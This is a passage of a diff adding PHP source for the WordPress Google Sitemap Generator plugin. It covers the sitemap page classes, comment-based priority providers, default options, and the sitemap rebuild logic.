+		$this->_askSuccess = $success;
+		
+		$this->Save();
+	}
+	
+	function GetAskTime() {
+		return round($this->_askEndTime - $this->_askStartTime,2);
+	}
+	
+	var $_usedMsn = false;
+	var $_msnUrl = '';
+	var $_msnSuccess = false;
+	var $_msnStartTime = 0;
+	var $_msnEndTime = 0;
+	
+	function StartMsnPing($url) {
+		$this->_usedMsn = true;
+		$this->_msnUrl = $url;
+		$this->_msnStartTime = $this->GetMicrotimeFloat();
+		
+		$this->Save();
+	}
+	
+	function EndMsnPing($success) {
+		$this->_msnEndTime = $this->GetMicrotimeFloat();
+		$this->_msnSuccess = $success;
+		
+		$this->Save();
+	}
+	
+	function GetMsnTime() {
+		return round($this->_msnEndTime - $this->_msnStartTime,2);
+	}
+	
+	function GetMicrotimeFloat() {
+		list($usec, $sec) = explode(" ", microtime());
+		return ((float)$usec + (float)$sec);
+	}
+		}
+		
+/**
+ * Represents an item in the page list
+ * @author Arne Brachhold
+ * @package sitemap
+ * @since 3.0
+ */
+class GoogleSitemapGeneratorPage {
+	
+	/**
+	 * @var string $_url Sets the URL or the relative path to the blog dir of the page
+	 * @access private
+	 */
+	var $_url;
+	
+	/**
+	 * @var float $_priority Sets the priority of this page
+	 * @access private
+	 */
+	var $_priority;
+	
+	/**
+	 * @var string $_changeFreq Sets the chanfe frequency of the page. I want Enums!
+	 * @access private
+	 */
+	var $_changeFreq;
+	
+	/**
+	 * @var int $_lastMod Sets the lastMod date as a UNIX timestamp.
+	 * @access private
+	 */
+	var $_lastMod;
+	
+	/**
+	 * Initialize a new page object
+	 *
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	 * @param bool $enabled Should this page be included in thesitemap
+	 * @param string $url The URL or path of the file
+	 * @param float $priority The Priority of the page 0.0 to 1.0
+	 * @param string $changeFreq The change frequency like daily, hourly, weekly
+	 * @param int $lastMod The last mod date as a unix timestamp
+	 */
+	function GoogleSitemapGeneratorPage($url="",$priority=0.0,$changeFreq="never",$lastMod=0) {
+		$this->SetUrl($url);
+		$this->SetProprity($priority);
+		$this->SetChangeFreq($changeFreq);
+		$this->SetLastMod($lastMod);
+	}
+	
+	/**
+	 * Returns the URL of the page
+	 *
+	 * @return string The URL
+	 */
+	function GetUrl() {
+		return $this->_url;
+	}
+	
+	/**
+	 * Sets the URL of the page
+	 *
+	 * @param string $url The new URL
+	 */
+	function SetUrl($url) {
+		$this->_url=(string) $url;
+	}
+	
+	/**
+	 * Returns the priority of this page
+	 *
+	 * @return float the priority, from 0.0 to 1.0
+	 */
+	function GetPriority() {
+		return $this->_priority;
+	}
+	
+	/**
+	 * Sets the priority of the page
+	 *
+	 * @param float $priority The new priority from 0.1 to 1.0
+	 */
+	function SetProprity($priority) {
+		$this->_priority=floatval($priority);
+	}
+	
+	/**
+	 * Returns the change frequency of the page
+	 *
+	 * @return string The change frequncy like hourly, weekly, monthly etc.
+	 */
+	function GetChangeFreq() {
+		return $this->_changeFreq;
+	}
+	
+	/**
+	 * Sets the change frequency of the page
+	 *
+	 * @param string $changeFreq The new change frequency
+	 */
+	function SetChangeFreq($changeFreq) {
+		$this->_changeFreq=(string) $changeFreq;
+	}
+	
+	/**
+	 * Returns the last mod of the page
+	 *
+	 * @return int The lastmod value in seconds
+	 */
+	function GetLastMod() {
+		return $this->_lastMod;
+	}
+	
+	/**
+	 * Sets the last mod of the page
+	 *
+	 * @param int $lastMod The lastmod of the page
+	 */
+	function SetLastMod($lastMod) {
+		$this->_lastMod=intval($lastMod);
+	}
+	
+	function Render() {
+		
+		if($this->_url == "/" || empty($this->_url)) return '';
+		
+		$r="";
+		$r.= "\t<url>\n";
+		$r.= "\t\t<loc>" . $this->EscapeXML($this->_url) . "</loc>\n";
+		if($this->_lastMod>0) $r.= "\t\t<lastmod>" . date('Y-m-d\TH:i:s+00:00',$this->_lastMod) . "</lastmod>\n";
+		if(!empty($this->_changeFreq)) $r.= "\t\t<changefreq>" . $this->_changeFreq . "</changefreq>\n";
+		if($this->_priority!==false && $this->_priority!=="") $r.= "\t\t<priority>" . number_format($this->_priority,1) . "</priority>\n";
+		$r.= "\t</url>\n";
+		return $r;
+	}
+	
+	function EscapeXML($string) {
+		return str_replace ( array ( '&', '"', "'", '<', '>'), array ( '&amp;' , '&quot;', '&apos;' , '&lt;' , '&gt;'), $string);
+	}
+}
+
+class GoogleSitemapGeneratorXmlEntry {
+	
+	var $_xml;
+	
+	function GoogleSitemapGeneratorXmlEntry($xml) {
+		$this->_xml = $xml;
+	}
+	
+	function Render() {
+		return $this->_xml;
+	}
+}
+
+class GoogleSitemapGeneratorDebugEntry extends GoogleSitemapGeneratorXmlEntry {
+	
+	function Render() {
+		return "<!-- " . $this->_xml . " -->";
+	}
+}
+
+/**
+ * Base class for all priority providers
+ * @author Arne Brachhold
+ * @package sitemap
+ * @since 3.0
+ */
+class GoogleSitemapGeneratorPrioProviderBase {
+	
+	/**
+	 * @var int $_totalComments The total number of comments of all posts
+	 * @access protected
+	 */
+	var $_totalComments=0;
+	
+	/**
+	 * @var int $_totalComments The total number of posts
+	 * @access protected
+	 */
+	var $_totalPosts=0;
+	
+	/**
+	 * Returns the (translated) name of this priority provider
+	 *
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	 * @return string The translated name
+	*/
+	function GetName() {
+		return "";
+	}
+	
+	/**
+	 * Returns the (translated) description of this priority provider
+	 *
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	 * @return string The translated description
+	*/
+	function GetDescription() {
+		return "";
+	}
+	
+	/**
+	 * Initializes a new priority provider
+	 *
+	 * @param $totalComments int The total number of comments of all posts
+	 * @param $totalPosts int The total number of posts
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	*/
+	function GoogleSitemapGeneratorPrioProviderBase($totalComments,$totalPosts) {
+		$this->_totalComments=$totalComments;
+		$this->_totalPosts=$totalPosts;
+		
+	}
+	
+	/**
+	 * Returns the priority for a specified post
+	 *
+	 * @param $postID int The ID of the post
+	 * @param $commentCount int The number of comments for this post
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	 * @return int The calculated priority
+	*/
+	function GetPostPriority($postID,$commentCount) {
+		return 0;
+	}
+}
+
+/**
+ * Priority Provider which calculates the priority based on the number of comments
+ * @author Arne Brachhold
+ * @package sitemap
+ * @since 3.0
+ */
+class GoogleSitemapGeneratorPrioByCountProvider extends GoogleSitemapGeneratorPrioProviderBase {
+	
+	/**
+	 * Returns the (translated) name of this priority provider
+	 *
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	 * @return string The translated name
+	*/
+	function GetName() {
+		return __("Comment Count",'sitemap');
+	}
+	
+	/**
+	 * Returns the (translated) description of this priority provider
+	 *
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	 * @return string The translated description
+	*/
+	function GetDescription() {
+		return __("Uses the number of comments of the post to calculate the priority",'sitemap');
+	}
+	
+	/**
+	 * Initializes a new priority provider which calculates the post priority based on the number of comments
+	 *
+	 * @param $totalComments int The total number of comments of all posts
+	 * @param $totalPosts int The total number of posts
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	*/
+	function GoogleSitemapGeneratorPrioByCountProvider($totalComments,$totalPosts) {
+		parent::GoogleSitemapGeneratorPrioProviderBase($totalComments,$totalPosts);
+	}
+	
+	/**
+	 * Returns the priority for a specified post
+	 *
+	 * @param $postID int The ID of the post
+	 * @param $commentCount int The number of comments for this post
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	 * @return int The calculated priority
+	*/
+	function GetPostPriority($postID,$commentCount) {
+		$prio=0;
+		if($this->_totalComments>0 && $commentCount>0) {
+			$prio = round(($commentCount*100/$this->_totalComments)/100,1);
+		} else {
+			$prio = 0;
+		}
+		return $prio;
+	}
+}
+
+/**
+ * Priority Provider which calculates the priority based on the average number of comments
+ * @author Arne Brachhold
+ * @package sitemap
+ * @since 3.0
+ */
+class GoogleSitemapGeneratorPrioByAverageProvider extends GoogleSitemapGeneratorPrioProviderBase {
+	
+	/**
+	 * @var int $_average The average number of comments per post
+	 * @access protected
+	 */
+	var $_average=0.0;
+	
+	/**
+	 * Returns the (translated) name of this priority provider
+	 *
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	 * @return string The translated name
+	*/
+	function GetName() {
+		return __("Comment Average",'sitemap');
+	}
+	
+	/**
+	 * Returns the (translated) description of this priority provider
+	 *
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	 * @return string The translated description
+	*/
+	function GetDescription() {
+		return __("Uses the average comment count to calculate the priority",'sitemap');
+	}
+	
+	/**
+	 * Initializes a new priority provider which calculates the post priority based on the average number of comments
+	 *
+	 * @param $totalComments int The total number of comments of all posts
+	 * @param $totalPosts int The total number of posts
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	*/
+	function GoogleSitemapGeneratorPrioByAverageProvider($totalComments,$totalPosts) {
+		parent::GoogleSitemapGeneratorPrioProviderBase($totalComments,$totalPosts);
+		
+		if($this->_totalComments>0 && $this->_totalPosts>0) {
+			$this->_average= (double) $this->_totalComments / $this->_totalPosts;
+		}
+	}
+	
+	/**
+	 * Returns the priority for a specified post
+	 *
+	 * @param $postID int The ID of the post
+	 * @param $commentCount int The number of comments for this post
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	 * @return int The calculated priority
+	*/
+	function GetPostPriority($postID,$commentCount) {
+		$prio = 0;
+		//Do not divide by zero!
+		if($this->_average==0) {
+			if($commentCount>0)	$prio = 1;
+			else $prio = 0;
+		} else {
+			$prio = $commentCount/$this->_average;
+			if($prio>1) $prio = 1;
+			else if($prio<0) $prio = 0;
+		}
+		
+		return round($prio,1);
+	}
+}
+
+/**
+ * Priority Provider which calculates the priority based on the popularity by the PopularityContest Plugin
+ * @author Arne Brachhold
+ * @package sitemap
+ * @since 3.0
+ */
+class GoogleSitemapGeneratorPrioByPopularityContestProvider extends GoogleSitemapGeneratorPrioProviderBase {
+	
+	/**
+	 * Returns the (translated) name of this priority provider
+	 *
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	 * @return string The translated name
+	*/
+	function GetName() {
+		return __("Popularity Contest",'sitemap');
+	}
+	
+	/**
+	 * Returns the (translated) description of this priority provider
+	 *
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	 * @return string The translated description
+	*/
+	function GetDescription() {
+		return str_replace("%4","index.php?page=popularity-contest.php",str_replace("%3","options-general.php?page=popularity-contest.php",str_replace("%2","http://www.alexking.org/",str_replace("%1","http://www.alexking.org/index.php?content=software/wordpress/content.php",__("Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>",'sitemap')))));
+	}
+	
+	/**
+	 * Initializes a new priority provider which calculates the post priority based on the popularity by the PopularityContest Plugin
+	 *
+	 * @param $totalComments int The total number of comments of all posts
+	 * @param $totalPosts int The total number of posts
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	*/
+	function GoogleSitemapGeneratorPrioByPopularityContestProvider($totalComments,$totalPosts) {
+		parent::GoogleSitemapGeneratorPrioProviderBase($totalComments,$totalPosts);
+	}
+	
+	/**
+	 * Returns the priority for a specified post
+	 *
+	 * @param $postID int The ID of the post
+	 * @param $commentCount int The number of comments for this post
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	 * @return int The calculated priority
+	*/
+	function GetPostPriority($postID,$commentCount) {
+		//$akpc is the global instance of the Popularity Contest Plugin
+		global $akpc,$posts;
+		
+		$res=0;
+		//Better check if its there
+		if(!empty($akpc) && is_object($akpc)) {
+			//Is the method we rely on available?
+		if(method_exists($akpc,"get_post_rank")) {
+			if(!is_array($posts) || !$posts) $posts = array();
+				if(!isset($posts[$postID])) $posts[$postID] = get_post($postID);
+				//popresult comes as a percent value
+				$popresult=$akpc->get_post_rank($postID);
+				if(!empty($popresult) && strpos($popresult,"%")!==false) {
+					//We need to parse it to get the priority as an int (percent)
+					$matches=null;
+					preg_match("/([0-9]{1,3})\%/si",$popresult,$matches);
+					if(!empty($matches) && is_array($matches) && count($matches)==2) {
+						//Divide it so 100% = 1, 10% = 0.1
+						$res=round(intval($matches[1])/100,1);
+					}
+				}
+			}
+		}
+		return $res;
+	}
+}
+
+/**
+ * Class to generate a sitemaps.org Sitemaps compliant sitemap of a WordPress blog.
+ *
+ * @package sitemap
+ * @author Arne Brachhold
+ * @since 3.0
+*/
+class GoogleSitemapGenerator {
+	/**
+	 * @var Version of the generator in SVN
+	*/
+	var $_svnVersion = '$Id: sitemap-core.php 150610 2009-08-30 21:11:36Z arnee $';
+	
+	/**
+	 * @var array The unserialized array with the stored options
+	 */
+	var $_options = array();
+	
+	/**
+	 * @var array The saved additional pages
+	 */
+	var $_pages = array();
+
+	/**
+	 * @var array The values and names of the change frequencies
+	 */
+	var $_freqNames = array();
+	
+	/**
+	 * @var array A list of class names which my be called for priority calculation
+	 */
+	var $_prioProviders = array();
+	
+	/**
+	 * @var bool True if init complete (options loaded etc)
+	 */
+	var $_initiated = false;
+	
+	/**
+	 * @var string Holds the last error if one occurs when writing the files
+	 */
+	var $_lastError=null;
+	
+	/**
+	 * @var int The last handled post ID
+	 */
+	var $_lastPostID = 0;
+	
+	/**
+	 * @var bool Defines if the sitemap building process is active at the moment
+	 */
+	var $_isActive = false;
+	
+	/**
+	 * @var bool Defines if the sitemap building process has been scheduled via Wp cron
+	 */
+	var $_isScheduled = false;
+
+	/**
+	 * @var object The file handle which is used to write the sitemap file
+	 */
+	var $_fileHandle = null;
+	
+	/**
+	 * @var object The file handle which is used to write the zipped sitemap file
+	 */
+	var $_fileZipHandle = null;
+	
+	/**
+	 * Returns the path to the blog directory
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @return string The full path to the blog directory
+	*/
+	function GetHomePath() {
+		
+		$res="";
+		//Check if we are in the admin area -> get_home_path() is avaiable
+		if(function_exists("get_home_path")) {
+			$res = get_home_path();
+		} else {
+			//get_home_path() is not available, but we can't include the admin
+			//libraries because many plugins check for the "check_admin_referer"
+			//function to detect if you are on an admin page. So we have to copy
+			//the get_home_path function in our own...
+			$home = get_option( 'home' );
+			if ( $home != '' && $home != get_option( 'siteurl' ) ) {
+				$home_path = parse_url( $home );
+				$home_path = $home_path['path'];
+				$root = str_replace( $_SERVER["PHP_SELF"], '', $_SERVER["SCRIPT_FILENAME"] );
+				$home_path = trailingslashit( $root.$home_path );
+			} else {
+				$home_path = ABSPATH;
+			}
+
+			$res = $home_path;
+		}
+		return $res;
+	}
+	
+	/**
+	 * Returns the path to the directory where the plugin file is located
+	 * @since 3.0b5
+	 * @access private
+	 * @author Arne Brachhold
+	 * @return string The path to the plugin directory
+	 */
+	function GetPluginPath() {
+		$path = dirname(__FILE__);
+		return trailingslashit(str_replace("\\","/",$path));
+	}
+	
+	/**
+	 * Returns the URL to the directory where the plugin file is located
+	 * @since 3.0b5
+	 * @access private
+	 * @author Arne Brachhold
+	 * @return string The URL to the plugin directory
+	 */
+	function GetPluginUrl() {
+		
+		//Try to use WP API if possible, introduced in WP 2.6
+		if (function_exists('plugins_url')) return trailingslashit(plugins_url(basename(dirname(__FILE__))));
+		
+		//Try to find manually... can't work if wp-content was renamed or is redirected
+		$path = dirname(__FILE__);
+		$path = str_replace("\\","/",$path);
+		$path = trailingslashit(get_bloginfo('wpurl')) . trailingslashit(substr($path,strpos($path,"wp-content/")));
+		return $path;
+	}
+	
+	/**
+	 * Returns the URL to default XSLT style if it exists
+	 * @since 3.0b5
+	 * @access private
+	 * @author Arne Brachhold
+	 * @return string The URL to the default stylesheet, empty string if not available.
+	 */
+	function GetDefaultStyle() {
+		$p = $this->GetPluginPath();
+		if(file_exists($p . "sitemap.xsl")) {
+			$url = $this->GetPluginUrl();
+			//If called over the admin area using HTTPS, the stylesheet would also be https url, even if the blog frontend is not.
+			if(substr(get_bloginfo('url'),0,5) !="https" && substr($url,0,5)=="https") $url="http" . substr($url,5);
+			return $url . 'sitemap.xsl';
+		}
+		return '';
+	}
+	
+	/**
+	 * Sets up the default configuration
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	*/
+	function InitOptions() {
+		
+		$this->_options=array();
+		$this->_options["sm_b_prio_provider"]="GoogleSitemapGeneratorPrioByCountProvider";			//Provider for automatic priority calculation
+		$this->_options["sm_b_filename"]="sitemap.xml";		//Name of the Sitemap file
+		$this->_options["sm_b_debug"]=true;					//Write debug messages in the xml file
+		$this->_options["sm_b_xml"]=true;					//Create a .xml file
+		$this->_options["sm_b_gzip"]=true;					//Create a gzipped .xml file(.gz) file
+		$this->_options["sm_b_ping"]=true;					//Auto ping Google
+		$this->_options["sm_b_pingyahoo"]=false;			//Auto ping YAHOO
+		$this->_options["sm_b_yahookey"]='';				//YAHOO Application Key
+		$this->_options["sm_b_pingask"]=true;				//Auto ping Ask.com
+		$this->_options["sm_b_pingmsn"]=true;				//Auto ping MSN
+		$this->_options["sm_b_manual_enabled"]=false;		//Allow manual creation of the sitemap via GET request
+		$this->_options["sm_b_auto_enabled"]=true;			//Rebuild sitemap when content is changed
+		$this->_options["sm_b_auto_delay"]=true;			//Use WP Cron to execute the building process in the background
+		$this->_options["sm_b_manual_key"]=md5(microtime());//The secret key to build the sitemap via GET request
+		$this->_options["sm_b_memory"] = '';				//Set Memory Limit (e.g. 16M)
+		$this->_options["sm_b_time"] = -1;					//Set time limit in seconds, 0 for unlimited, -1 for disabled
+		$this->_options["sm_b_max_posts"] = -1;				//Maximum number of posts, <= 0 for all
+		$this->_options["sm_b_safemode"] = false;			//Enable MySQL Safe Mode (doesn't use unbuffered results)
+		$this->_options["sm_b_style_default"] = true;		//Use default style
+		$this->_options["sm_b_style"] = '';					//Include a stylesheet in the XML
+		$this->_options["sm_b_robots"] = true;				//Add sitemap location to WordPress' virtual robots.txt file
+		$this->_options["sm_b_exclude"] = array();			//List of post / page IDs to exclude
+		$this->_options["sm_b_exclude_cats"] = array();		//List of post / page IDs to exclude
+		$this->_options["sm_b_location_mode"]="auto";		//Mode of location, auto or manual
+		$this->_options["sm_b_filename_manual"]="";			//Manuel filename
+		$this->_options["sm_b_fileurl_manual"]="";			//Manuel fileurl
+
+		$this->_options["sm_in_home"]=true;					//Include homepage
+		$this->_options["sm_in_posts"]=true;				//Include posts
+		$this->_options["sm_in_posts_sub"]=false;			//Include post pages (<!--nextpage--> tag)
+		$this->_options["sm_in_pages"]=true;				//Include static pages
+		$this->_options["sm_in_cats"]=false;				//Include categories
+		$this->_options["sm_in_arch"]=false;				//Include archives
+		$this->_options["sm_in_auth"]=false;				//Include author pages
+		$this->_options["sm_in_tags"]=false;				//Include tag pages
+		$this->_options["sm_in_lastmod"]=true;				//Include the last modification date
+
+		$this->_options["sm_cf_home"]="daily";				//Change frequency of the homepage
+		$this->_options["sm_cf_posts"]="monthly";			//Change frequency of posts
+		$this->_options["sm_cf_pages"]="weekly";			//Change frequency of static pages
+		$this->_options["sm_cf_cats"]="weekly";				//Change frequency of categories
+		$this->_options["sm_cf_auth"]="weekly";				//Change frequency of author pages
+		$this->_options["sm_cf_arch_curr"]="daily";			//Change frequency of the current archive (this month)
+		$this->_options["sm_cf_arch_old"]="yearly";			//Change frequency of older archives
+		$this->_options["sm_cf_tags"]="weekly";				//Change frequency of tags
+
+		$this->_options["sm_pr_home"]=1.0;					//Priority of the homepage
+		$this->_options["sm_pr_posts"]=0.6;					//Priority of posts (if auto prio is disabled)
+		$this->_options["sm_pr_posts_min"]=0.2;				//Minimum Priority of posts, even if autocalc is enabled
+		$this->_options["sm_pr_pages"]=0.6;					//Priority of static pages
+		$this->_options["sm_pr_cats"]=0.3;					//Priority of categories
+		$this->_options["sm_pr_arch"]=0.3;					//Priority of archives
+		$this->_options["sm_pr_auth"]=0.3;					//Priority of author pages
+		$this->_options["sm_pr_tags"]=0.3;					//Priority of tags
+		
+		$this->_options["sm_i_donated"]=false;				//Did you donate? Thank you! :)
+		$this->_options["sm_i_hide_donated"]=false;			//And hide the thank you..
+		$this->_options["sm_i_install_date"]=time();		//The installation date
+		$this->_options["sm_i_hide_note"]=false;			//Hide the note which appears after 30 days
+		$this->_options["sm_i_hide_donors"]=false;			//Hide the list of donations
+	}
+	
+	/**
+	 * Loads the configuration from the database
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	*/
+	function LoadOptions() {
+		
+		$this->InitOptions();
+		
+		//First init default values, then overwrite it with stored values so we can add default
+		//values with an update which get stored by the next edit.
+		$storedoptions=get_option("sm_options");
+		if($storedoptions && is_array($storedoptions)) {
+			foreach($storedoptions AS $k=>$v) {
+				$this->_options[$k]=$v;
+			}
+		} else update_option("sm_options",$this->_options); //First time use, store default values
+	}
+	
+	/**
+	 * Initializes a new Google Sitemap Generator
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	*/
+	function GoogleSitemapGenerator() {
+
+
+		
+		
+	}
+	
+	/**
+	 * Returns the version of the generator
+	 *
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	 * @return int The version
+	*/
+	function GetVersion() {
+		return GoogleSitemapGeneratorLoader::GetVersion();
+	}
+	
+	/**
+	 * Returns all parent classes of a class
+	 *
+	 * @param $className string The name of the class
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @return array An array which contains the names of the parent classes
+	*/
+	function GetParentClasses($classname) {
+		$parent = get_parent_class($classname);
+		$parents = array();
+		if (!empty($parent)) {
+			$parents = $this->GetParentClasses($parent);
+			$parents[] = strtolower($parent);
+		}
+		return $parents;
+	}
+	
+	/**
+	 * Returns if a class is a subclass of another class
+	 *
+	 * @param $className string The name of the class
+	 * @param $$parentName string The name of the parent class
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @return bool true if the given class is a subclass of the other one
+	*/
+	function IsSubclassOf($className, $parentName) {
+		
+		$className = strtolower($className);
+		$parentName = strtolower($parentName);
+		
+		if(empty($className) || empty($parentName) || !class_exists($className) || !class_exists($parentName)) return false;
+		
+		$parents=$this->GetParentClasses($className);
+		
+		return in_array($parentName,$parents);
+	}
+		
+	/**
+	 * Loads up the configuration and validates the prioity providers
+	 *
+	 * This method is only called if the sitemaps needs to be build or the admin page is displayed.
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	*/
+	function Initate() {
+		if(!$this->_initiated) {
+			
+			//Loading language file...
+			//load_plugin_textdomain('sitemap');
+			//Hmm, doesn't work if the plugin file has its own directory.
+			//Let's make it our way... load_plugin_textdomain() searches only in the wp-content/plugins dir.
+			$currentLocale = get_locale();
+			if(!empty($currentLocale)) {
+				$moFile = dirname(__FILE__) . "/lang/sitemap-" . $currentLocale . ".mo";
+				if(@file_exists($moFile) && is_readable($moFile)) load_textdomain('sitemap', $moFile);
+			}
+			
+			$this->_freqNames = array(
+				"always"=>__("Always","sitemap"),
+				"hourly"=>__("Hourly","sitemap"),
+				"daily"=>__("Daily","sitemap"),
+				"weekly"=>__("Weekly","sitemap"),
+				"monthly"=>__("Monthly","sitemap"),
+				"yearly"=>__("Yearly","sitemap"),
+				"never"=>__("Never","sitemap")
+			);
+			
+			
+			$this->LoadOptions();
+			$this->LoadPages();
+			
+			//Register our own priority providers
+			add_filter("sm_add_prio_provider",array(&$this, 'AddDefaultPrioProviders'));
+			
+			//Let other plugins register their providers
+			$r = apply_filters("sm_add_prio_provider",$this->_prioProviders);
+			
+			//Check if no plugin return null
+			if($r != null) $this->_prioProviders = $r;
+				
+			$this->ValidatePrioProviders();
+			
+			$this->_initiated = true;
+		}
+	}
+	
+	/**
+	 * Returns the instance of the Sitemap Generator
+	 *
+	 * @since 3.0
+	 * @access public
+	 * @return GoogleSitemapGenerator The instance or null if not available.
+	 * @author Arne Brachhold
+	*/
+	function &GetInstance() {
+		if(isset($GLOBALS["sm_instance"])) {
+			return $GLOBALS["sm_instance"];
+		} else return null;
+	}
+	
+	/**
+	 * Returns if the sitemap building process is currently active
+	 *
+	 * @since 3.0
+	 * @access public
+	 * @return bool true if active
+	 * @author Arne Brachhold
+	*/
+	function IsActive() {
+		$inst = &GoogleSitemapGenerator::GetInstance();
+		return ($inst != null && $inst->_isActive);
+	}
+	
+	/**
+	 * Returns if the compressed sitemap was activated
+	 *
+	 * @since 3.0b8
+	 * @access private
+	 * @author Arne Brachhold
+	 * @return true if compressed
+	 */
+	function IsGzipEnabled() {
+		return ($this->GetOption("b_gzip")===true && function_exists("gzwrite"));
+	}
+
+	/**
+	 * Returns if this version of WordPress supports the new taxonomy system
+	 *
+	 * @since 3.0b8
+	 * @access private
+	 * @author Arne Brachhold
+	 * @return true if supported
+	 */
+	function IsTaxonomySupported() {
+		return (function_exists("get_taxonomy") && function_exists("get_terms"));
+	}
+	
+	/**
+	 * Enables the Google Sitemap Generator and registers the WordPress hooks
+	 *
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	*/
+	function Enable() {
+		if(!isset($GLOBALS["sm_instance"])) {
+			$GLOBALS["sm_instance"]=new GoogleSitemapGenerator();
+		}
+	}
+	
+	/**
+	 * Checks if sitemap building after content changed is enabled and rebuild the sitemap
+	 *
+	 * @param int $postID The ID of the post to handle. Used to avoid double rebuilding if more than one hook was fired.
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	*/
+	function CheckForAutoBuild($postID) {
+		global $wp_version;
+		$this->Initate();
+		//Build one time per post and if not importing.
+		if($this->GetOption("b_auto_enabled")===true && $this->_lastPostID != $postID && (!defined('WP_IMPORTING') || WP_IMPORTING != true)) {
+			
+			//Build the sitemap directly or schedule it with WP cron
+			if($this->GetOption("b_auto_delay")==true && floatval($wp_version) >= 2.1) {
+				if(!$this->_isScheduled) {
+					//Schedule in 15 seconds, this should be enough to catch all changes.
+					//Clear all other existing hooks, so the sitemap is only built once.
+					wp_clear_scheduled_hook('sm_build_cron');
+					wp_schedule_single_event(time()+15,'sm_build_cron');
+					$this->_isScheduled = true;
+				}
+			} else {
+				//Build sitemap only once and never in bulk mode
+				if(!$this->_lastPostID && (!isset($_GET["delete"]) || count((array) $_GET['delete'])<=0)) {
+					$this->BuildSitemap();
+				}
+			}
+			$this->_lastPostID = $postID;
+		}
+	}
+	
+	/**
+	 * Checks if the rebuild request was send and starts to rebuilt the sitemap
+	 *
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	*/
+	function CheckForManualBuild() {
+		if(!empty($_GET["sm_command"]) && !empty($_GET["sm_key"])) {
+			$this->Initate();
+			if($this->GetOption("b_manual_enabled")===true && $_GET["sm_command"]=="build" && $_GET["sm_key"]==$this->GetOption("b_manual_key")) {
+				$this->BuildSitemap();
+				echo "DONE";
+				exit;
+			}
+		}
+	}
+
+	/**
+	 * Validates all given Priority Providers by checking them for required methods and existence
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	*/
+	function ValidatePrioProviders() {
+		$validProviders=array();
+		
+		for($i=0; $i<count($this->_prioProviders); $i++) {
+			if(class_exists($this->_prioProviders[$i])) {
+				if($this->IsSubclassOf($this->_prioProviders[$i],"GoogleSitemapGeneratorPrioProviderBase")) {
+					array_push($validProviders,$this->_prioProviders[$i]);
+				}
+			}
+		}
+		$this->_prioProviders=$validProviders;
+		
+		if(!$this->GetOption("b_prio_provider")) {
+			if(!in_array($this->GetOption("b_prio_provider"),$this->_prioProviders,true)) {
+				$this->SetOption("b_prio_provider","");
+			}
+		}
+	}
+
+	/**
+	 * Adds the default Priority Providers to the provider list
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	*/
+	function AddDefaultPrioProviders($providers) {
+		array_push($providers,"GoogleSitemapGeneratorPrioByCountProvider");
+		array_push($providers,"GoogleSitemapGeneratorPrioByAverageProvider");
+		if(class_exists("ak_popularity_contest")) {
+			array_push($providers,"GoogleSitemapGeneratorPrioByPopularityContestProvider");
+		}
+		return $providers;
+	}
+	
+	/**
+	 * Loads the stored pages from the database
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	*/
+	function LoadPages() {
+		global $wpdb;
+		
+		$needsUpdate=false;
+		
+		$pagesString=$wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name = 'sm_cpages'");
+		
+		//Class sm_page was renamed with 3.0 -> rename it in serialized value for compatibility
+		if(!empty($pagesString) && strpos($pagesString,"sm_page")!==false) {
+			$pagesString = str_replace("O:7:\"sm_page\"","O:26:\"GoogleSitemapGeneratorPage\"",$pagesString);
+			$needsUpdate=true;
+		}
+		
+		if(!empty($pagesString)) {
+			$storedpages=unserialize($pagesString);
+			$this->_pages=$storedpages;
+		} else {
+			$this->_pages=array();
+		}
+		
+		if($needsUpdate) $this->SavePages();
+	}
+	
+	/**
+	 * Saved the additional pages back to the database
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @return true on success
+	*/
+	function SavePages() {
+		$oldvalue = get_option("sm_cpages");
+		if($oldvalue == $this->_pages) {
+			return true;
+		} else {
+			delete_option("sm_cpages");
+			//Add the option, Note the autoload=false because when the autoload happens, our class GoogleSitemapGeneratorPage doesn't exist
+			add_option("sm_cpages",$this->_pages,"Storage for custom pages of the sitemap plugin","no");
+			return true;
+		}
+	}
+	
+	
+	/**
+	 * Returns the URL for the sitemap file
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
